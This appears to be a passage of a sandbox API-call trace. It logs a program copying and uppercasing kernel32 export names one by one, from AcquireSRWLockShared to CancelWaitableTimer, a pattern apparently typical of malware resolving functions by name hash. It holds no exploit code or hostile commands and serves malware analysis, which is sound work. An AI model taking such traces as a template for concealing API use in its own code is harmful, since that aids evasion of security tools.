lstrcpyA (in: lpString1=0x21ff220, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0047.297] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0047.297] lstrcpyA (in: lpString1=0x21ff220, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0047.297] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0047.297] lstrcpyA (in: lpString1=0x21ff220, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0047.297] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0047.297] lstrcpyA (in: lpString1=0x21ff220, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0047.297] lstrlenA (lpString="ADDATOMA") returned 8 [0047.297] lstrcpyA (in: lpString1=0x21ff220, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0047.297] lstrlenA (lpString="ADDATOMW") returned 8 [0047.297] lstrcpyA (in: lpString1=0x21ff220, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0047.297] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0047.297] lstrcpyA (in: lpString1=0x21ff220, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0047.297] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0047.298] lstrcpyA (in: lpString1=0x21ff220, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0047.299] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0047.299] lstrcpyA (in: lpString1=0x21ff220, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0047.299] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0047.299] lstrcpyA (in: lpString1=0x21ff220, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0047.299] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0047.299] lstrcpyA (in: lpString1=0x21ff220, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0047.300] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0047.300] lstrcpyA (in: lpString1=0x21ff220, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0047.300] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0047.300] lstrcpyA (in: lpString1=0x21ff220, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0047.300] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0047.300] lstrcpyA (in: lpString1=0x21ff220, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0047.300] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0047.300] lstrcpyA (in: lpString1=0x21ff220, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0047.300] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0047.300] lstrcpyA (in: lpString1=0x21ff220, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0047.300] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0047.300] lstrcpyA (in: lpString1=0x21ff220, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0047.300] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0047.300] lstrcpyA (in: lpString1=0x21ff220, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0047.300] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0047.300] lstrcpyA (in: lpString1=0x21ff220, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0047.300] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0047.300] lstrcpyA (in: lpString1=0x21ff220, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0047.300] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0047.300] lstrcpyA (in: lpString1=0x21ff220, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0047.300] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0047.300] lstrcpyA (in: lpString1=0x21ff220, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0047.300] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0047.300] lstrcpyA (in: lpString1=0x21ff220, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0047.300] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0047.300] lstrcpyA (in: lpString1=0x21ff220, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0047.300] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0047.300] lstrcpyA (in: lpString1=0x21ff220, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0047.300] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0047.300] lstrcpyA (in: lpString1=0x21ff220, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0047.300] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0047.300] lstrcpyA (in: lpString1=0x21ff220, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0047.300] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0047.300] lstrcpyA (in: lpString1=0x21ff220, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0047.301] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0047.301] lstrcpyA (in: lpString1=0x21ff220, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0047.301] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0047.301] lstrcpyA (in: lpString1=0x21ff220, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0047.301] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0047.301] lstrcpyA (in: lpString1=0x21ff220, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0047.301] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0047.301] lstrcpyA (in: lpString1=0x21ff220, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0047.301] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0047.301] lstrcpyA (in: lpString1=0x21ff220, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0047.301] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0047.301] lstrcpyA (in: lpString1=0x21ff220, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0047.301] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0047.301] lstrcpyA (in: lpString1=0x21ff220, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0047.301] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0047.301] lstrcpyA (in: lpString1=0x21ff220, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0047.301] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0047.301] lstrcpyA (in: lpString1=0x21ff220, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0047.301] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0047.301] lstrcpyA (in: lpString1=0x21ff220, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0047.301] lstrlenA (lpString="BACKUPREAD") returned 10 [0047.301] lstrcpyA (in: lpString1=0x21ff220, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0047.301] lstrlenA (lpString="BACKUPSEEK") returned 10 [0047.301] lstrcpyA (in: lpString1=0x21ff220, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0047.301] lstrlenA (lpString="BACKUPWRITE") returned 11 [0047.301] lstrcpyA (in: lpString1=0x21ff220, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0047.301] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0047.301] lstrcpyA (in: lpString1=0x21ff220, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0047.301] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0047.301] lstrcpyA (in: lpString1=0x21ff220, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0047.301] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0047.301] lstrcpyA (in: lpString1=0x21ff220, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0047.302] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0047.302] lstrcpyA (in: lpString1=0x21ff220, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0047.302] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0047.302] lstrcpyA (in: lpString1=0x21ff220, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0047.302] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0047.302] lstrcpyA (in: lpString1=0x21ff220, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0047.302] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0047.302] lstrcpyA (in: lpString1=0x21ff220, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0047.302] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0047.302] lstrcpyA (in: lpString1=0x21ff220, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0047.302] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0047.302] lstrcpyA (in: lpString1=0x21ff220, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0047.302] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0047.302] lstrcpyA (in: lpString1=0x21ff220, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0047.302] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0047.302] lstrcpyA (in: lpString1=0x21ff220, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0047.302] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0047.302] lstrcpyA (in: lpString1=0x21ff220, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0047.302] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0047.302] lstrcpyA (in: lpString1=0x21ff220, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0047.302] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0047.302] lstrcpyA (in: lpString1=0x21ff220, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0047.302] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0047.302] lstrcpyA (in: lpString1=0x21ff220, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0047.302] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0047.302] lstrcpyA (in: lpString1=0x21ff220, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0047.302] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0047.302] lstrcpyA (in: lpString1=0x21ff220, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0047.302] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0047.302] lstrcpyA (in: lpString1=0x21ff220, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0047.303] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0047.303] lstrcpyA (in: lpString1=0x21ff220, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0047.303] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0047.303] lstrcpyA (in: lpString1=0x21ff220, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0047.303] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0047.303] lstrcpyA (in: lpString1=0x21ff220, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0047.303] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0047.303] lstrcpyA (in: lpString1=0x21ff220, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0047.303] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0047.303] lstrcpyA (in: lpString1=0x21ff220, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0047.303] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0047.303] lstrcpyA (in: lpString1=0x21ff220, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0047.303] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0047.303] lstrcpyA (in: lpString1=0x21ff220, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0047.303] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0047.303] lstrcpyA (in: lpString1=0x21ff220, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0047.303] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0047.303] lstrcpyA (in: lpString1=0x21ff220, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0047.303] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0047.303] lstrcpyA (in: lpString1=0x21ff220, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0047.303] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0047.303] lstrcpyA (in: lpString1=0x21ff220, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0047.303] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0047.303] lstrcpyA (in: lpString1=0x21ff220, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0047.303] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0047.303] lstrcpyA (in: lpString1=0x21ff220, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0047.303] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0047.303] lstrcpyA (in: lpString1=0x21ff220, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0047.303] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0047.303] lstrcpyA (in: lpString1=0x21ff220, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0047.303] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0047.303] lstrcpyA (in: lpString1=0x21ff220, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0047.304] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0047.304] lstrcpyA (in: lpString1=0x21ff220, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0047.304] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0047.304] lstrcpyA (in: lpString1=0x21ff220, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0047.304] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0047.304] lstrcpyA (in: lpString1=0x21ff220, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0047.304] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0047.304] lstrcpyA (in: lpString1=0x21ff220, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0047.304] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0047.304] lstrcpyA (in: lpString1=0x21ff220, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0047.304] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0047.304] lstrcpyA (in: lpString1=0x21ff220, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0047.304] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0047.304] lstrcpyA (in: lpString1=0x21ff220, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0047.304] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0047.304] lstrcpyA (in: lpString1=0x21ff220, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0047.304] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0047.304] lstrcpyA (in: lpString1=0x21ff220, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0047.304] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0047.304] lstrcpyA (in: lpString1=0x21ff220, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0047.304] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0047.304] lstrcpyA (in: lpString1=0x21ff220, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0047.304] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0047.304] lstrcpyA (in: lpString1=0x21ff220, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0047.304] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0047.304] lstrcpyA (in: lpString1=0x21ff220, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0047.304] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0047.304] lstrcpyA (in: lpString1=0x21ff220, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0047.304] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0047.304] lstrcpyA (in: lpString1=0x21ff220, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0047.304] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0047.304] lstrcpyA (in: lpString1=0x21ff220, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0047.304] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0047.305] lstrcpyA (in: lpString1=0x21ff220, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0047.305] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0047.305] lstrcpyA (in: lpString1=0x21ff220, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0047.305] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0047.305] lstrcpyA (in: lpString1=0x21ff220, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0047.305] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0047.305] lstrcpyA (in: lpString1=0x21ff220, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0047.305] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0047.305] lstrcpyA (in: lpString1=0x21ff220, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0047.305] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0047.305] lstrcpyA (in: lpString1=0x21ff220, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0047.305] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0047.305] lstrcpyA (in: lpString1=0x21ff220, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0047.305] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0047.305] lstrcpyA (in: lpString1=0x21ff220, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0047.305] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0047.305] lstrcpyA (in: lpString1=0x21ff220, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0047.305] lstrlenA (lpString="BEEP") returned 4 [0047.305] lstrcpyA (in: lpString1=0x21ff220, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0047.305] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0047.305] lstrcpyA (in: lpString1=0x21ff220, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0047.305] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0047.305] lstrcpyA (in: lpString1=0x21ff220, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0047.305] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0047.305] lstrcpyA (in: lpString1=0x21ff220, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0047.305] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0047.305] lstrcpyA (in: lpString1=0x21ff220, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0047.305] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0047.305] lstrcpyA (in: lpString1=0x21ff220, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0047.305] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0047.305] lstrcpyA (in: lpString1=0x21ff220, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0047.305] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0047.305] lstrcpyA (in: lpString1=0x21ff220, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0047.306] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0047.306] lstrcpyA (in: lpString1=0x21ff220, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0047.306] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0047.306] lstrcpyA (in: lpString1=0x21ff220, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0047.306] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0047.306] lstrcpyA (in: lpString1=0x21ff220, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0047.306] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0047.306] lstrcpyA (in: lpString1=0x21ff220, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0047.306] lstrlenA (lpString="CANCELIO") returned 8 [0047.306] lstrcpyA (in: lpString1=0x21ff220, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0047.306] lstrlenA (lpString="CANCELIOEX") returned 10 [0047.306] lstrcpyA (in: lpString1=0x21ff220, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0047.306] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0047.306] lstrcpyA (in: lpString1=0x21ff220, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0047.306] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0047.306] lstrcpyA (in: lpString1=0x21ff220, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0047.306] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0047.306] lstrcpyA (in: lpString1=0x21ff220, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0047.306] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0047.306] 